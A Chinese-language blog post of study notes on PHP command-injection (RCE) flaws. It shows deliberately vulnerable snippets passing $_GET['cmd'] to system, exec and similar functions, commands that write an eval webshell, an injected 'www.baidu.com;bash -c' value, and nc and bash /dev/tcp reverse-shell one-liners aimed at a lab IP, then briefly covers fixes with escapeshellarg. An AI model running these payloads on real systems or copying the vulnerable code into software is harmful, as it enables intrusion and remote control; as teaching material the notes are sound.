本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

产生原因

开发者没有对 用户传入的参数做严格限制,导致用户传入的内容被拼接到了命令执行函数中,用户可以在服务器上执行任意命令

RCE

  • remote command execution 远程命令执行
  • remote code execution 远程代码执行

危害:执行系统漏洞

权限:一般情况下,rce 漏洞的权限是web服务进程运行的权限( 如 apache进程权限 wwwdata ) 查看权限的命令

  • Linux 查看权限:id
  • windows 查看权限:whoami /all 或 whoami /priv

挖掘

黑盒

除了 ctf 、靶场之外,现实中无法通过黑盒挖掘命令执行漏洞,大部分扫描器对于 RCE漏洞都是 只扫描历史漏洞

代码审计

定位命令执行函数
看参数是否可控

PHP 命令执行函数

system

执行系统命令, 自动输出命令执行结果

<?php
  $cmd = $_GET['cmd'];
  system($cmd);
?>

shell_exec

执行系统命令, 不会自动输出命令执行结果,需要编写echo语句输出

<?php
 $cmd = $_GET['cmd'];
 echo shell_exec($cmd);
?>

exec

执行系统命令, 不会自动输出命令执行结果,需要编写 echo 语句输出,但只能输出最后一行

<?php
 $cmd = $_GET['cmd'];
 echo exec($cmd);
?>

docker run -d -p 80:80 -v /home/kali/exec.php:/var/www/html/exec.php php:7.2-apache

head -n 6 /etc/passwd

passthru

执行系统命令,自动输出命令执行结果和 system

<?php
  $cmd = $_GET['cmd'];
  passthru($cmd);
?>

popen

执行系统命令,不会自动输出命令执行结果,需要把结果导出到文本文件中,再读取文件文件中 保存好的命令执行结果

<?php
  $cmd = $_GET['cmd'];
  // 执行命令,并把命令执行结果导出到 1.txt 中
  popen("$cmd > 1.txt", 'r');
  // 读取1.txt文件内容,输出命令执行结果
  echo file_get_contents("1.txt");
  // 删除1.txt
  unlink("1.txt");
?>

反引号 ``

执行系统命令,不会自动输出命令执行结果,需要编写echo语句输出,与shell_exec完全一致

<?php
   $cmd = $_GET['cmd'];
   echo `$cmd`;
?>

利用

1 命令拼接符

&& 只有前一个命令成功,才执行下一个命令

& 命令1会在前台执行,命令2在后台运行

| 将前一个命令的标准输出作为后一个命令的标准输入

|| 只有前一个命令失败,才执行下一个命令

;无论前一个命令是否成功,都继续执行下一个命令 (windows 不支持)

2 命令执行写 webshell

格式

echo "WEBSHELL的内容" > 文件名.php

Linux :

❌:echo "<?php eval($_POST[cmd]);?>" > han1.php

⚠️ Linux会把$开头的字符当做 shell脚本的变量,Linux shell中不会有 $_POST 变量,所以会被替换为空

✅: echo "<?php eval(\$_POST[cmd]);?>" > han2.php

windows:

echo "<?php eval($_POST[cmd]);?>" > han.php

base64编码写 webshell

1 原本的webshell

<?php eval($_POST[cmd]);?>

2 对webshell进行base64 编码

PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=

3 组合成命令

echo PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4= | base64 -d > han3.php

3 反弹shell

反弹shell(Reverse Shell)和 正向shell(Bind Shell

⚠️ shell:指windows (cmd、powershell)、linux (sh、bash、zsh、tsh 等)

  • 反弹shell:受害者连接攻击者,并向攻击者提供shell
  • 正向shell:攻击者连接受害者,并获取受害者的shell

正向shell (nc netcat)

⚠️ 内网渗透中会使用 正向 shell

受害者执行 nc -lvnp 端口 -e shell类型
攻击者执行 nc 受害者IP 端口
攻击者就会获取受害者shell

反弹 shell

方法1:nc 反弹 shell

攻击者开监听 nc -lvnp 端口
受害者连接攻击者的监听,并送上shell nc 攻击者IP 端口 -e shell类型
攻击者收到受害者的shell

⚠️ nc 反弹shell 可能出现的问题

1 受害者的nc可能没有 -e 选项 (以 ubuntu 作为受害者举例,ubuntu 自带的nc没有 -e)

mkfifo 命令

解决方案:替换ubuntu nc 命令为 mkfifo 命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.79.129 758 >/tmp/f

2 受害者没有 nc

方法 2: bash 反弹 shell

原理:

通过让受害者主机主动连接攻击者监听的端口,并将 Bash 的输入输出重定向到该连接,实现远程控制

命令解析:bash -i >& /dev/tcp/192.168.79.129/758 0>&1

bash -i : 启动一个交互式 Bash shell
>& /dev/tcp/192.168.79.129/758 :将输出和报错重定向到 TCP 连接
/dev/tcp/host/port: 是 Bash 内置功能,用于建立 TCP 连接
0>&1:将输入也重定向到与输出相同的文件描述符(即 TCP 连接)

实现双向通信:攻击者输入 传给受害者 再执行输出返回
攻击者开启监听 nc -lvnp 端口
受害者连接攻击者的监听:bash -i >& /dev/tcp/192.168.79.129/758 0>&1
攻击者收到受害者的shell
1 Linux 系统标识
  • 0 输入
  • 1 输出
  • 2 报错

正常情况下,受害者的 0(输入)在键盘上 ,1(输出)、2(报错)在屏幕上

反弹shell 的目标:把受害者的 0、1、2 都重定向到 攻击者上·

2 重定向 0 输入

bash -i 0>/dev/tcp/192.168.79.129/758

解释

bash -i 交互式运行 bash
0> 把输入 重定向
/dev/tcp/IP地址/端口 bash 建立TCP连接的方式,不是Linux 的目录
3 重定向 1 输出

bash -i 1>/dev/tcp/192.168.79.129/758

出现问题,重定向1 和 重定向 0 不能同时执行

4 重定向 2 报错

bash -i 2>/dev/tcp/192.168.79.129/758

bash -i >& /dev/tcp/192.168.79.129/758

5 融合命令
1 融合 1输出 和 2报错 (只保留输出)
bash -i 1>/dev/tcp/192.168.79.129/758
+
bash -i 2>/dev/tcp/192.168.79.129/758
=
bash -i >& /dev/tcp/192.168.79.129/758
2 把 0输入也重定向到 0>/dev/tcp/192.168.79.129/758

bash -i >& /dev/tcp/192.168.79.129/758

  • & 标识,代表 1 在哪,1在 /dev/tcp/192.168.79.129/758 位置
  • bash -i >& /dev/tcp/192.168.79.129/758 0>&1
  • 0>&1 把0输入重定向到 1(输出) 现在所在的位置
1 bash 反弹shell
攻击者开监听 nc -lvnp 端口
受害者连接攻击者的监听,并送上shell: bash -i >& /dev/tcp/攻击者IP/端口 0>&1
攻击者收到受害者的shell
2 需要嵌套 bash -c 非bash环境使用bash反弹shell

web服务是否使用了 bash,无法确定,需要嵌套 bash -c

1 攻击机 开启监听
2 靶机运行
3 攻击机收到靶机的shell
3 java使用bash反弹shell

java 命令执行的方法:

Runtime.getRuntime.exec("系统命令")

⚠️ Runtime.getRuntime.exec(“系统命令”) 方法无法解析 > ,必须使用 java Runtime 类支持的 base64 编码进行 bash 反弹shell

www.baidu.com;bash -c “bash -i >& /dev/tcp/192.168.79.120/7586 0>&1”

方法 3 (windows)powershell 反弹shell

https://www.revshells.com/

其他反弹shell的方法:脚本语言反弹shell

⚠️ 前提条件:受害者需要有脚本语言对应的执行环境,且配置了环境变量

python 反弹shell
php 反弹shell

修复

后端限制用户输入的内容格式,如输入ip,就验证用户输入的是不是ip
PHP 自带函数:  https://www.php.net/manual/zh/function.escapeshellarg.php

$domain = $_POST['domain'];
$domain = escapeshellarg($_POST['domain']); // 防止命令注入
$output = shell_exec("nslookup $domain");

PHP 配置 disable_functions 禁用函数